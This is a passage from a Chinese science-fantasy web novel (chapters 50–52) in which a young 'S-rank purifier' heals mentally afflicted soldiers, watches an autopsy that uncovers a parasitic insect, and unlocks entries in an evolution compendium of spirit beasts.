“祁先生，其实我是专业治疗精神病的。”赵宴月懒得和他拉扯，“药到病除假一赔十，一百万星币一次，你要试试吗？” 祁燃的目光从邱院长笑呵呵的脸上划过，发现他看赵宴月的眼神里充满了诡异的推崇。 思绪从脑海中飞速划过，祁燃嘴角向上一咧，露出一个灿烂的笑容：“请进请进，区区一百万，试试就试试。” S级机甲尖兵果然不差钱，一百万说得跟一百块似的。 赵宴月踏进房门，指了指沙发简洁明了道：“躺好放松，不要抗拒，很快就好。” 祁燃十分干脆地按照指示乖乖躺好，他刚闭上眼就感觉到一双手插进了发丝之中，掌心刚好对准太阳穴，带来一阵温热的触感。 一股带着磅礴气息的精神力从掌心渗透进他的大脑，祁燃本能地绷紧身体挣扎了一下又立马安静下来。 见他有反抗的迹象，赵宴月本来都做好了随时撤退的准备，但他顺从地很快，一切都进行得很顺利。 没过一会儿，她便将精神力收了回来。 祁燃的睫毛微微颤动，原本一片浓黑的精神海宛若新生般干净而澄清，在精神海里巡视了一圈的他都有点不知所措了。 过了好一会儿他才迷茫地睁开眼，然后立马又反射性地闭上。 一睁眼就是近在咫尺的吱吱宝收款二维码，亮度堪比直视正午的大太阳，眼泪都差点被酸出来。 他摸索着将收款码往外推了推：“太近了太近了殿下，要瞎了。” 赵宴月啧了一声，她从沙发上站起身的同时，顺便十分有力气地将祁燃也拉了起来。 “殿下好身手。”祁燃干巴巴地夸了一句，然后又十分好奇地观察着赵宴月，就好像在观察什么新物种似的。 “你真是S级净化师啊。”他抓了抓头发，脑子因为冲击还有些晕：“今天真是好魔幻的一天。” 他感叹完，又像是想起了什么似的压低声音问道：“诶，对了，这种大事联邦怎么没对外公布？不是我说这也太刺激了。” 他的话还挺多的。 看在他转来的星币比一百万多得多的份上，赵宴月好心回答了他的问题。 “因为我其实是圣诞仙女，圣诞仙女你知道吗，就是会随机降临在某个幸运儿房顶的烟囱上，然后给他们净化精神海。” 祁燃不明觉厉：“那还是人吗……不是，我的意思是……这是比人更高级的物种吗？” “是人。”赵宴月敷衍道，然后继续回答他的问题：“至于为什么不公布，当然是因为幸运是随机的，告诉所有人的话，当这份幸运一直不降临在自己身上的时候反倒失望，但是圣诞仙女精力有限又满足不了所有人，不如让这件事成为一个惊喜。” 赵宴月哄完人就离开了房间，留下祁燃在房间里沉思，时不时还发出“太有道理了”的感叹。 保密事项自然有专人和他对接，赵宴月并不需要在这上面费心思，说这些话纯属是逗他玩罢了。 见她这么快又出来了，邱院长的目光顿时变得有点忐忑，怀疑是不是又出了什么变故。 赵宴月见状自信道：“已经净化好了。” 邱院长刚刚悬起来的心又放了下来，转而提道：“殿下这段时间不如就住在岛上？疗养院离一区的居民区距离不短，每天来回一趟容易劳累，岛上的风景和居住环境其实都很不错。” 赵宴月思考了没一会儿便爽快同意了，来回确实也折腾，不如直接住岛上，反正她也不会在一区待很长时间。 这里的患者都是精神海污染程度达到了80%以上的S级契约者，净化需要消耗的精神力太多，回复满也需要时间。 原本浓郁得能化成水滴出来的精神力变得稀薄，小五升阶的速度势必会放慢，赵宴月从来没打算长期在这里干兼职。 不过她现在好歹也是吃上了公家饭的人，或多或少也得干点活就是了。 海岛上除了患者还有不少的工作人员，虽然常住人口算不上多，但也不至于显得空空荡荡，俨然已经成为一个能自主运行的小社会。 不知道是不是人少的原因，消息也传得相当快。 赵宴月下了班正带着易秋在海鲜楼的大厅吃饭，就听到隔壁桌传来了八卦的声音。 “你们听说没，祁燃那小子才进来这么些天，马上又要出去了。” “出去干嘛？他要用精神海稳定剂还是要带狗链？” “当然是稳定剂，狗链狗都不戴。” “那他也是个狠人，精神海稳定剂纯属延长痛苦期，要我说在岛上等死好得很。” “我倒觉得还好，反正也没几个人真能忍到精神海崩塌，打了精神海稳定剂别的作用没有，好歹不发疯。” “那你打。” “那不行，打了一点指望都没了，我现在好歹还能盼望着精神海崩塌的那一天呢。” “偶尔打几次也没事，只要不长时间注射就行。” “那你打。” “那不行，除非编号星防线缺人了，那我倒是可以打点稳定剂过去支援一下。” “之前许清雪殿下不是净化了他哥哥吗，其实我们还是有点希望的。” “虽然她确实是我女神……但是我的精神力和她不熟啊，她应该进不来我的精神海。” “做什么春秋大梦呢，这是熟不熟的事吗，能不能对狂躁症患者的精神力有点自知之明，再说了，按照一次1%的效率没三两个月都搞不定。” “你别说，你还真别说，许寒江知道吧，他最近的精神海污染程度检测报告上是75%，净化前公布出来的数据是78%，也就是说许清雪殿下说下降了一个百分点，其实是下降了3个百分点，更诡异的是他的精神海污染程度从来没超过80%，但是契约灵兽变成污染灵兽了。” “啊？所以其实许寒江精神海的真实污染程度其实已经到达了80%以上，许清雪殿下帮他净化到75%了？那都不止3%啊。” “要我说那个78%的数据要么就是稍微藏了一手，要么就是检测机构的数据出了问题，不然根本说不通嘛。” “太强了，不愧是我女神。” 赵宴月竖起耳朵听他们说话，易秋剥的肉都在她碗里堆出了小尖。 她摘下手套推了推赵宴月拿着筷子的手，提醒道：“吃饭了，菜要凉了。” 虽然说是保镖，但易秋真是什么活都干啊。 赵宴月再次在心里感叹了一番，然后又试图打听她的工资，但是易秋嘴巴严实得很，说工资要保密，死活不肯告诉她。 “介意拼个桌吗？”一道女声在耳边响起，赵宴月抬眸看了来人一眼，随意点点头道：“坐吧。” “新来的吗？我好像没见过你。”女人的目光在赵宴月的脸上停留几秒，八卦道：“是在前段时间营救颜温殿下的行动里被污染的吗？我听说你们队有人见到了王虫卵？” 第50章 王虫卵？ 什么王虫卵？ 她说的王虫到底是什么王虫。 赵宴月被脑子里的问题刷屏了。 已知B级虫族叫做高等虫族, A级虫族的规范用语叫做将领级虫族，S级虫族叫做统帅级虫族。 由于A级虫族就能带领虫潮，也和S级虫族都被称作王虫, 方便区分也会加上“A级”或者“S级”的前缀。 当然, 还有一种没有任何前缀的王虫，但赵宴月这个没有常识的人都知道它已经死了八百年了。 看女人的表情, 显然她说的这个王虫卵是真正的王虫卵，可惜赵宴月知道的还没她多。 一直默不作声的易秋此时开口道：“营救小队里并没有人真正接触到王虫卵，不过有人说感受到了很强烈的威压。” “那这谣言不纯属空穴来风。”季瑛松了一口气, 紧接着吐槽：“只要有等级压制多少都能感受到威压，传得倒是有模有样的。” “嗯嗯。”易秋老实巴交地点了点头, 话锋一转道：“但是唯一感应到的人天赋技能就叫做‘感知’，他发动技能后感知力比平常人强数十倍。” 季瑛刚放下还没落稳的心瞬间又提到了嗓子眼，她心脏一突, 压低了声音道：“……不是吧, 难道真有王虫卵？他感应到了？” “说是只有一瞬间感知到了强烈威压，加上他只是B级契约者, S级王虫逼近他也会感知到比较强烈的威压，所以不能确定。” 季瑛：“下次说话能别这么停顿吗, 我血压都要上来了。” 看着赵宴月眼睛里和季英同款的一惊一乍, 易秋悄摸摸在心里笑了笑。 在给赵宴月当保镖前, 她就是营救小队的一员, 到底有没有王虫卵确实无法确定, 但宁可信其有不可信其无。 消息一传回去，联邦就第一时间加大了对虫巢的围剿力度。 虫巢数量繁多，能提前消灭每个巢穴里的虫母和虫卵最好不过。 除了驻守在编号星的守卫军外，远征军的脚步也从未停歇, 双方配合之下才维持住了三颗宜居星球数十年的安宁。 外面的雨越下越大，豆大的雨点砸在海鲜楼的房檐上，又噼噼啪啪地滑下来在大门处形成了一道断线的珠帘。 饭后季瑛蹭了一段路的伞，易秋打着伞把赵宴月保护得严严实实的，自己倒是淋湿了半边。 见她这幅如临大敌的保护姿态，季瑛嘴角一抽道：“大家都是S级契约者，身体素质杠杠的，淋点雨怎么了。” “不一样的。”易秋认真道。 “哪里不一样？” “哪里都不一样。” “行行行，便利店到了，我去买把伞，谢啦。” “等一下。”一直专心致志避开地面水坑的赵宴月忽然开了口，她的目光穿过雨幕，看向不远处光线昏暗的巷口：“S级契约者真的不会被雨淋晕吗？” 季瑛的脚步一顿，伞都没买便迈开脚步冒雨走了过去，那着急的样子比起热心更像是赶着去吃瓜。 倒在地上的男人样貌普通，发丝湿漉漉地贴在脸上和地上，胸口微弱地起伏着。 他身上并没有精神力波动，是个彻头彻尾的普通人。 本来还以为能看到“S级契约者被雨淋到发烧晕倒”的笑话，季瑛这下立马没了看戏的意思，点开光脑打了医院的急救电话。 就在她弯下腰打算把人扛到干燥地方躲躲雨时，季瑛也顺势看清了他胸牌上的字。 跟在后面不紧不慢走过来的赵宴月只见季瑛突然弹射后退，她扭过头，声音穿过噼里啪啦的雨声传来：“别过来别过来！这是研究院的人，情况不太对。” “研究院？”赵宴月被她这反应弄得一怔，有些疑惑。 季瑛想起她是新来的，一边谨慎地盯着地上的男人一边便解释道：“禁区是全封闭的嘛，除了疗养院外，寄生研究院也在这。” 她说到这指了指地上的人：“像这样就算出岔子了也不会造成大范围的影响。” 赵宴月听到寄生就头皮一麻，脑子里浮现出各种各样的寄生虫。 什么钩虫血吸虫，二三十厘米的蛔虫，传说中能达到二十米长的绦虫，都是耳熟能详的会寄生人体的寄生虫。 见赵宴月眨眼间已经退出了数米的安全距离，季瑛安慰道：“不用担心，寄生虫其实大多数情况下只会寄生普通人类，契约者身体里有精神力存在，它比较难存活。” “你是在安慰我还是在安慰你自己？” “当然是在安慰你。” “那你怎么离得比我还远。” 季瑛沉默了一会儿，然后脸上浮现出痛苦面具：“真的很恶心啊那些会寄生的虫族！” 虫……族？ 赵宴月用一种刷新了认知的语气感叹道：“……寄生虫也算虫族？” 季瑛也用一种刷新了认知的语气感叹道：“……怎么不算呢？” 易秋闻言看了赵宴月一眼，然后又看了季瑛一眼，已经意识到了两人说的根本不是一码事：“普通寄生虫和寄生虫族还是有点区别的殿……小姐，寄生虫族是虫族的特殊分支，也是唯一能入侵到宜居星球上的虫族。” 察觉到赵宴月好像有点文盲属性在身上，易秋立马警惕起来开展起安全教育小课堂。 “E级F级以及无品级的寄生虫族只能寄生普通人，最多也只有巴掌大，寄生研究院针对每个品种都在不断研发靶向打虫药，C级D级的寄生虫族已经可以寄生契约者，药剂对这些虫族完全失效，所以就算离开了禁区，小姐在路上碰到这种情况也千万不要自己去碰，不怕一万就怕万一。” 既然被发现了，赵宴月也不装了，破罐子破摔地好奇问道：“那C级以上的寄生虫族呢？” “……三垣星系没有那种东西。”易秋看向赵宴月的眼神变得更加沉重了一点：“越高等级的虫族躯体就越接近人类模样，战斗力也越高，完全不需要靠寄生生存，所以这个世界上没有那种等级的寄生虫族。” 赵宴月回想了一下自己见过B级虫族，发现如果没有头上的两根触角，那它类人的躯干轮廓和关节结构完全可以当成机甲尖兵。 虫族越长越像人什么的，透着一股难以言喻的诡异和荒诞，听起来简直让人san值狂掉。 寥寥几句话的功夫，尖锐的警笛声便由远及近，收到消息的研究院很快派来了急救车。 穿着特制防护服的急救人员蹲下身检查了一下地上的人，声音隔着口罩显得有点沉闷：“已经没有生命体征”。 赵宴月虽然站得远，但是她之前明明看到男人的胸膛还在起伏，配合上医护人员“没有生命体征”这句话，简直让人寒毛直竖。 “你好女士，我是研究院防控组成员方泽，麻烦三位配合我们去研究院做个寄生排查。” 年轻的男声在耳边响起，赵宴月收回视线，没有异议地点了点头。 寄生研究院的位置比起坐落在“市中心”的疗养院来说相对偏僻，悬浮车穿过被雨水冲刷得模糊的街道，最终停在一栋从外面看去没有任何标识的暗灰色的巨大建筑前。 方泽背对着三人按下了电梯的“-3”键，电梯微弱的运行声和季瑛的唉声叹气交织在一起：“这个寄生虫不会是孢子寄生吧，比如吸几口周围的空气就被虫卵寄生什么的……” “暂时还没发现拥有这种逆天寄生方式的寄生虫族。”方泽安抚道：“不用太过担心，你们都是契约者，低等寄生虫族寄生不了你们，高等寄生虫族寄生的动静比较大，不会这么悄无声息地被寄生，让你们来做排查也只是走个流程。” “寄生排查是排查身上是否携带虫卵吗？”赵宴月想了想开口问道，听了季瑛的“孢子论”后总感觉浑身发痒，恨不得给自己洗八百个澡。 “寄生虫族虽然是虫族的特殊分支，但只要是虫族就只能从虫巢孵化，也只有虫母才有产出虫卵的能力，不用担心身上携带虫……” 方泽话还没说完，电梯发出轻微的“叮”声在负二层停了下来。 随着合金门无声地向两侧滑开，一个修长的身影出现在赵宴月的视线里。 男人穿着带有研究院专属标识的白色长褂，一双清凌凌的眼睛眼皮微抬，没什么情绪的目光在扫过电梯里的人，在看见赵宴月后进电梯的脚步微不可查地顿了顿。 方泽此时已经笑着朝他打了个招呼，稍稍往后退了退让出点位置，然后扭过头朝几人介绍道：“这位是研究院特聘过来的柏医生，等他给尸体做完解剖，确定寄生虫族还在死者体内就算排查完成了。” 赵宴月：“……” 好朴实无华的排查方式。 好巧，柏慈也一个人打两份工。 好巧，她才刚扇了人家一巴掌，怎么转角又遇到了。 比起在病房里看到时的模样，他现在神色冷峻而漠然，看着正常多了。 不过是看了他几秒，赵宴月便听到柏慈声音又冷又僵硬地开口道：“别盯着我。” 行，看都不让看，还挺记仇。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-60 第51章 观察室和解剖室中间只隔着一层厚重的玻璃, 可以清晰地看见解剖室里的模样。 惨白又明亮的光线下，死者躺在解剖台上，皮肤透出一种灰白色, 身上还在淅淅沥沥地往下滴着雨水, 在地面上汇聚成一滩水洼。 柏慈拿起手术刀划开了尸体的肚子，动作冷漠而精准, 轻松得好像划破了一张纸。 暗红色的血液瞬间涌出，在蓝色的医用橡胶手套上形成了有些肮脏的污迹，隔着窗户似乎都能闻到带着膻味的血腥气。 赵宴月看不见柏慈的具体动作, 只能看到他带着手套的手探进腹腔按压，时不时用手术刀剥开某个内脏在里面翻找。 “不会不在了吧。”季瑛见整个胸腔里都没有寄生虫族的影子, 语气虽然听着有些忧愁，又透着一种很真实的不在意。 她对这种血腥画面明显适应良好——或者都不需要用到“适应”这个词。 B级以下的虫族都是直接生啃活人大快朵颐，眼前的画面对她这种上过战场的人来说都是小儿科。 赵宴月压下一丝反胃感, 活人微死地提出其他可能：“可能在脑子里……在脑子里的话要开颅吗？” 她之前看到死者的胸腔在动, 这个寄生虫族的体型应该不会小，死者又体形纤瘦, 藏在四肢里会有非常明显的鼓包。 腹部没有的话只能在脑子里了。 想到头颅里被一只寄生虫族挤得满满当当的模样，赵宴月又被恶心到了, 干脆移开了视线。 伴随着铣刀高速旋转锯开颅骨的声响, 耳边传来季瑛有些激动又有点想吐的声音：“还在脑子里……我天好恶心, 我宁愿杀八百个正常虫族也不想碰到这种鬼东西。” 出于对寄生虫族这一特殊虫族的好奇, 赵宴月闻言还是往解剖室里看了一眼。 一只形态诡异的寄生虫族此时正扒在死者的脸上, 身躯不大不小刚好盖住一整张脸，还想往被开了一个洞的后脑勺里钻。 身后一条前粗后细的尾巴一节又一节地蜿蜒到了死者的大腿处，在血肉模糊的腹腔创口里甩动着尾巴挣扎抽打，血液和碎肉乱溅。 寄生虫族整体看起来像一只缩小版蝠鲼, 只不过呈现出甲壳状，头上还有两根短小的触角在高频颤动。 柏慈的手看似只是轻轻按在寄生虫族混杂着脑浆和血的外壳上，被他按住的虫族却除了尾巴哪里都动不了。 它扁平的身躯越来越扁，仿佛被一股无形的力量从上方挤压，随着一点点凹陷下去，外壳上的裂纹如同蜘蛛网一般迅速蔓延，然后彻底崩碎。 季瑛不知什么时候看向了赵宴月，有些奇怪地问道：“你在惊讶什么？” “我没在惊讶。” “可是你的眼睛都睁大了两个像素点。” “……” 赵宴月被她一噎，刚好方泽敲门说可以离开了，她抬起脚步便往观察室外走，随口想了个理由应付：“因为把晶源也压碎了很浪费。” “啊？”季瑛疑惑一下后快步跟了上去，大方道：“这种D级晶源，你要是想要我可以送你一麻袋。” 还是大城市机会多啊。 D级晶源等级不算高也得四位数一颗，一麻袋说送就送和随手送人几十万星币有什么区别。 “好啊，那作为回礼，明天我也送你一个礼物。” 季瑛只当是礼尚往来的客套，摆了摆手十分阔气道：“不用不用，反正又不是净化晶源，也值不了多少钱。” 赵宴月没再坚持，出了弥漫着淡淡消毒水味道的电梯，她想了想扭过头，看着季瑛线条利落的侧脸好奇问道：“柏慈契约灵兽的天赋技能是什么？” “你不知道吗？”季瑛闻言一挑眉，“他没得病那会儿可是被誉为‘联邦第一人形兵器’，我还以为‘潮汐引力’的大名全星网都知道。” 柏慈没得病那会儿都得是六年前了，赵宴月那时候还在地球上上学，哪能知道这些。 看着季瑛惊讶又疑惑的表情，赵宴月猜测自己大概问了一个类似“宫廷玉液酒多少钱一杯”的问题。 “……这么强的技能，那他的契约灵兽应该挺热门。” 要说季瑛原先还有点疑惑，现在一听这话她直接顿住了脚步。 身材高挑的女人双手环胸，围着赵宴月左看右看地绕了一圈：“你不对劲，是从小家里就没联网吗？” “……” 不问了，她和外星人说不清楚。 “我的契约灵兽是引渊灵鲸，挺冷门的。”柏慈的声音从后方响起。 赵宴月回过头，看见男人刚从电梯里出来，身上也没再穿着研究院的制服。 即便外面依旧雨幕滂沱，一楼的灯光有自然光的加持也比地下明亮得多，一眼就能看出他脸上隐约可见的淡淡红印。 季瑛明显也发现了这一点，只不过视线在他脸上停留了一秒就移开了。 她完全没往柏慈会被人打了这方面想，在她看来这根本就是不可能发生的事，只当是睡觉压出来的印子，根本没多加关注。 真正的罪魁祸首看到了也不在意，就算柏慈当时神志不清也是他先动的手，赵宴月一点心理负担都没有。 柏慈三两步走上前，微微垂眸看向赵宴月，说自己被打的时候也一点心理负担都没有：“我一醒过来就看见脸上有个巴掌印，你有什么头绪吗？” “巴掌印？”季瑛这下腰也不痛了腿也不酸了，听八卦的欲望达到了顶峰。 她的眼睛看了看这个又看了看那个，然后兴奋地直视赵宴月：“他被打的时候你在场？怎么被打的？” 不难看出，有她在，柏慈被人扇了一巴掌的事不出一天就能传遍整个禁区。 赵宴月叹了口气，语气遗憾道：“不知道，我也没什么头绪。” 打人还是太不优雅了，既然柏慈没什么头绪，那她也没什么头绪。 眼见无瓜可吃，季瑛离开的背影都透着一股失落。 柏慈目送季瑛坐上悬浮车离开，他收回视线重新看向赵宴月：“作为一个成熟的大人，做错事情就应该道歉。” “你还想让我给你道歉？”赵宴月眉头一皱，简直匪夷所思，“做错事情确实应该道歉，但是我从来没给别人道过歉。” “为什么？” 赵宴月此时的目光已经充满了进攻欲望，冷漠道：“当然是因为我从来没做错过。” “对。”柏慈沉默了几秒，“所以我说这句话的意思是我是来给你道歉的。” 那没事了。 赵宴月看向天上驶来的飞行器，可有可无地点点头：“那你开始吧。” 男人看着她头顶翘着的几根头发，眸光隐晦，态度端正：“我不应该在殿下对我实施救助的时候试图攻击殿下，我对此深感抱歉。” 或许是他现在看着再正常不过，赵宴月看他也顺眼了许多，大度道：“毕竟你当时神志不清醒，我接受你的道歉。” 本以为他会顺势提出再次净化的事，或者说赵宴月以为他来道歉的目的就是为了这个，但柏慈却什么都没说。 就好像他真的只是单纯来道歉的。 赵宴月本来都准备好了进行售后服务，见他什么都没提反倒有些不爽了，搞得好像她以小人之心度君子之腹似的。 “你没什么想和我说的吗？”赵宴月唇角微勾，笑得十分恶劣又傲慢：“机会只有一次，这次不说以后都不用再说了。” 男人眸光微凝，长长的睫毛投射出一片阴影：“至少这一次，我并没有其他的目的。” fine。 还搁这和她装。 赵宴月起了一丝兴致，也将注意力都放到了他的身上，冷不丁地说道：“我刚见你的时候，你可不是这副很有素质的模样。” 她看向柏慈，似在回忆般描述道：“你当时看我的目光里有点不满，又有点怨恨，可能还有一点委屈，你很恨我吗？” 听到赵宴月这直白的描述，柏慈表情丝毫不变。 “是要让我解释这种情绪从何而来吗？” 他望向研究院外瓢泼的大雨，忽然慢条斯理地问起了一件毫不相关的事：“S级契约者从患上狂躁症到走向自我毁灭的平均时间是五年，从目前仅有的数据来看，患上狂躁症到精神海崩塌的平均时间是6-8年，殿下觉得这两个数据之间有关联吗？” 问这个问题显然并不是想要她的答案。 赵宴月没有说话，示意他继续。 “因为这里的所有人都是嘴上说着等精神海崩塌，但绝大部分人只是在等S级净化师的出现罢了，殿下以为这个世界上真正能忍受自己变成无精神力的S级契约者有多少？从天之骄子到一级残废，这种落差比死亡更加令人痛苦。” “最开始大家靠着对S级净化师的期盼支撑着，随着时间一天天过去，希望一点点被磨灭，直到最后除了一点残存的希望外，还有对变成无精神力患者的恐惧，而这种恐惧也无法向外人诉说，毕竟‘活着比什么都重要’不是吗。” 说着恐惧，但可能他的音色本身偏冷，听着甚至有些漠然，并不为出现这种情绪感到羞耻。 “如果没有一些像恨一样的强烈情绪支撑，我也度不过死在第五年的魔咒。”柏慈笑了笑道：“但我没什么可恨的，于是只好恨一个并不存在的人，恨她怎么还不出现，让我痛苦这么多年，我活下去的目标从此变成了等到她出现，我就杀了她报仇雪恨，唯有这种强烈的情绪，才能压下对未来的恐惧——这个解释能让殿下满意吗？” 见赵宴月没有说话，他沉思片刻，忽然笑起来提议道：“或者我再向殿下道个歉？反正一回生二回熟。” 行，算他赢了。 赵宴月的专机已经停到了研究院门口，车灯透过雨幕照了过来，她微微侧过头道：“跟我来。” 第52章 飞行器后排的空间很宽敞, 地面上铺着深灰色的短绒地毯，除了四个白色的真皮软椅外还有两个面对面的沙发和中间一个桌子。 舷窗外的天色已经有点昏暗，距离净化祁燃已经过去了大半天, 赵宴月的精神力也恢复了七八成。 她示意柏慈在沙发上躺好, 自己则坐在了沙发的外侧。 感受到温热的掌心覆上太阳穴，柏慈微微仰起头几乎无意识蹭了蹭她的手, 像是某种寻求安抚的大型猫科动物。 睫毛从掌心扫过，赵宴月啧了一声，指缝稍稍合拢扯了下他的发根, 警告道：“别乱动。” 柏慈安静了下来，赵宴月控制着精神力往他的精神海里闯去, 下一秒精神力屏障就被触发。 一股格外庞大的精神力从屏障里被唤醒，它身上带着隐隐的压迫，给人一种冰冷的, 近乎狂暴的无秩序感。 不愧是“人形兵器”, 这么浩瀚庞大的精神力在S级中也是相当顶尖的存在。 赵宴月已经闯过不少次S级契约者的精神海，随便一感知就意识到这次能不能成功进去还真说不定。 如果精神力恢复满了要攻破柏慈的精神海应该不会很困难, 现在的情况是她是战损版，对面是全盛版。 但是话又说回来, 战损版也不是没有一战之力。 随着念头一起, 赵宴月的精神力便呼啸着冲了过去。 它像是八爪鱼似的分裂出了无数只粗壮又狰狞触手, 群魔乱舞般朝对面的精神力狠狠抽打了过去。 战争一触即发, 本就狂暴的精神力彻底被入侵者激怒, 它如法炮制地幻化出无数条更加凝练粗壮的触手，用丝毫不逊于入侵者的凶悍姿态迎头撞上。 两股精神力不断冲撞在一起又分开，双方都带着毁天灭地的架势，每一次的冲锋都恨不得把对方撕成八百片。 对面的学人精不仅学招式, 偏偏还刚好气势更盛，处处将赵宴月的精神力压了一头，占据上风。 它似乎已经预见到了战争的胜利，浑身的暴躁也随着激烈的打斗发泄了许多，随着神志渐渐冷静，一股难以言喻的喜爱升腾而起，如同菟丝花般层层依附了上来。 赵宴月只见对方忽然毫无预兆地停下了攻势，如潮水般退回了精神海屏障之中，压制住本能吝啬地将屏障破开了一个小口，似乎在邀请她进去。 一个仅凭肉眼都看不见的如针尖般细微的小口，大概刚好够一丝精神力钻进去的水平，可以说聊胜于无，带着一丝诡异的别扭。 赵宴月：“……？” “你跟谁两呢。” 两股精神力打架的功夫，新生的精神力在精神海中悄然滋生。 赵宴月将这一股精神力补充了进去，重新撞上了精神海屏障发起了进攻的号角。 精神力的性格和主人一脉相承，它不但没被对面装模作样的家伙感动到，甚至被彻底激怒，只觉得它简直是分不清大小王。 磅礴的精神力化作一道狂暴又凝实的龙卷风撞了过去，看着像是要把对手的骨灰都扬了。 两者一相撞，赵宴月的精神力重操旧业，在能量对撞的洪流中硬生生抽出一丝精神力扇了对面一巴掌。 不痛不痒，侮辱性对只有些许灵性的精神力来说也堪称没有，但是不管是赵宴月还是她的精神力都一下子舒坦了。 在精神力源源不断的补充下，柏慈的精神力渐渐支撑不住，最终只能憋屈地被重新打进了精神海屏障里。 胜负一分，原本坚不可摧又密不透风的屏障在一瞬间变得通透而温顺，那任君出入的状态都散发出一丝可怜的意味。 舒服了。 气势嚣张的精神力带着胜利者的睥睨姿态大摇大摆地穿过屏障。 一进入精神海，磅礴的精神力瞬间撒开，所过之处的黑雾如同遇到了烈阳的积雪，毫无抵抗力地消融。 黑雾被涤荡一空，赵宴月才发现柏慈的精神海是一片望不到边际的汪洋。 深邃而宁静的蔚蓝大海平滑如镜，倒映着上方虚幻的星空，空灵的鸣叫声带着某种奇幻的韵律回荡在海天之间。 一只体型巨大的似鲸又似传说中的鲲鹏一样的灵兽从海里高高跃起又落下，巨大的尾鳍上有虚幻的星光流转，砸出一大片四溅飞散的白色海浪。 它追随着赵宴月剩下的可怜的一丝精神力，直至精神海的尽头。 感应到精神力已经离开，引渊灵鲸缓缓沉入海底，庞大的黑影渐渐看不清晰，唯有海面留下圈圈涟漪。 赵宴月的精神力在触碰到引渊灵鲸之后，她眼前就跳出了许久不见的、无事不登三宝殿的金色字迹。 “检测到重点灵兽，此为彻底解锁《进化图鉴》灵兽之一，请尽快进行收录。” 柏慈的引渊灵鲸八百年前就已经进化到了终极态，是拥有完整进化链的灵兽，想要收录那不就是上网一查的事。 赵宴月火速上网一查，然后发现查无此进化链。 沙发上的柏慈不知何时已经看了过来，他的眼睛像是夜色中的大海，似有无数种情绪交织在最深处，平静漠然的表面下波涛汹涌。 “我感到宇宙正在流动，在你的眼睛和我之间。” 赵宴月被他看得一愣，忽然便想到了这句话。 长得好看真是让人容忍度都变高了，要是其他人这么黏黏糊糊地盯着她，就算只有一秒，赵宴月也会觉得是在挑衅她。 “给。” 柏慈回过神似的垂下眸，视线落到面前的水瓶上，抬起手接了过来：“谢谢。” “不客气。”赵宴月一秒都不浪费，立马收取报酬询问：“你的契约灵兽怎么在星网上找不到进化链？” “它是水灵秘境的秘藏灵兽，没有发布进化链的必要。”柏慈喉结滚动咽下水润了润嗓子，“而且水灵秘境已经沉寂了。” 坏了。 三句话里有三句话都没听懂。 有了季瑛之前“你家没通网吗”的振聋发聩的疑问在前，赵宴月一时不知道这个问题能不能疑惑。 不然再这么下去文盲的标签真的要被焊死了。 柏慈的目光扫过她，已经捕捉到了她眼里闪过的困惑。 “沉寂就是不再出现了，三垣星系上经常会有新秘境出现，许多已经古老的秘境也会渐渐沉寂。” 听到柏慈主动解释，赵宴月便默认这应该不算什么“一百八一杯”的常识：“那秘藏灵兽是什么？” 这个名词竟然也需要解释。 柏慈稍微侧了侧身换了个更加舒适的坐姿，用平淡的声调当起了幼教老师。 “秘藏灵兽就是整个秘境只此一只的灵兽，通常具有比平常灵兽更强大的天赋技能，具有唯一性，所以它的进化链没有商业价值。” 赵宴月：“……” 难怪她说柏慈的灵兽应该很热门的时候，季瑛会用那种奇怪的眼神看她。 “这种灵兽身上有什么特殊标识吗？” “没有，契约之后才能感应到。” 见赵宴月感兴趣，柏慈又稍稍多解释了一句，偏冷的声音在安静的机舱内显得格外清晰：“非要说辨别方法的话，秘藏灵兽不能通过打败它进行契约。” “那要怎么契约？” “找到它，表达出你想契约它的意愿。”柏慈说到这顿了片刻，看见赵宴月好奇又催促的眼神后才继续道：“然后就看它喜不喜欢你了。” 不愧是秘藏灵兽，契约方式已经到达了下一个level。 绝对的唯一性也代表着它的进化链需要专门找人研发，没点孤注一掷的勇气和财力在身上，也没法觊觎秘藏灵兽的力量。 不得不说，秘藏灵兽真的很会给自己找主人。 虽然赵宴月确实对秘藏灵兽很感兴趣，但是现在的当务之急不是这个。 见柏慈已经整理好微乱的衣襟打算离开，赵宴月叫住他道：“先别急着走，告诉我引渊灵鲸的进化材料是什么。” 不管研发出引渊灵鲸完整进化链的花销多么庞大，这条进化链现在都已经是毫无用处的东西。 柏慈不知道她为什么会对这个感兴趣，但他已经将赵宴月的性格掌握得很到位，并且下意识选择了最能得到她好感的方式。 他没有追问任何的“为什么”，十分直接地将资料转发给了她。 果不其然，少女的满意度和心情值都肉眼可见地提升了。 她笑眯眯地挥了挥手，像是在送别什么相识多年的老朋友：“慢走，以后有需要随时找我，都是朋友净化打八折。” “谢谢。”柏慈的眼神清明，气质也恢复了一贯的漠然，转身拉开了飞行器的舱门。 冰冷的带着浓郁水汽的风扑面而来，身后原本停在研究院门前的飞行器发出启动的轰鸣声逐渐升空。 柏慈没忍住回过头，闪着光亮的飞行器如同指路灯般划破禁区漆黑的天幕和雨水渐行渐远。 光亮逐渐在瞳孔里变小，直到彻底消失在厚重的云层中，他才缓缓收回视线。 一种难以言喻的、混杂着巨大失落的情绪，如同冰冷的藤蔓般悄然缠绕在心头。 长时间将一个人当做自己活下去的希望，这份希望早就在日复一日的煎熬中扭曲成了某种更深层更复杂的寄托。 当这个人真正出现时，原本只是为了活下去才产生的情绪突然有了一个无比清晰又无比具体的承载对象。 它们不再是虚无缥缈的幻影，实实在在地缠绕在赵宴月身上生根发芽，越长越粗壮，让他无时无刻不想环绕着她。 好在他自认自己是个还算理智的人，分得清这种强烈的爱意与恨意并不是因她本身而出现，这些让人心乱的烦人情绪也应该随着时间统统洗刷干净。 机舱里因为少了一个人变得空荡些许，赵宴月坐下来喝了口水，这才点开引渊灵鲸的进化资料看了起来。 “重点灵兽完整进化链已收录，《进化图鉴》解锁进度为1/5。” “剩余重点灵兽相关信息已触发，请及时进行收录。” “木灵秘境善鳄龟。” “火灵秘境炎羽雀。” “死灵秘境枯骨。” “生灵秘境青藤。” 生灵秘境和死灵秘境赵宴月都听说过，这两个都是存在已久的常驻秘境，几乎可以追溯到灵兽秘境刚出现在三垣星系的时候。 常驻秘境比起限时开放的秘境向来都出名得多，只不过枯骨和青藤这两个名字相当陌生，没听说有谁契约了这两个秘境的秘藏灵兽。 这都几百年了还没找到契约者，不难看出这两只秘藏灵兽都挺挑。 木灵秘境和火灵秘境都是百年一开的秘境，炎羽雀也暂时不清楚有没有被契约。 至于善鳄龟倒是不必多说，宋幼安现在还在为它的进化链头疼。 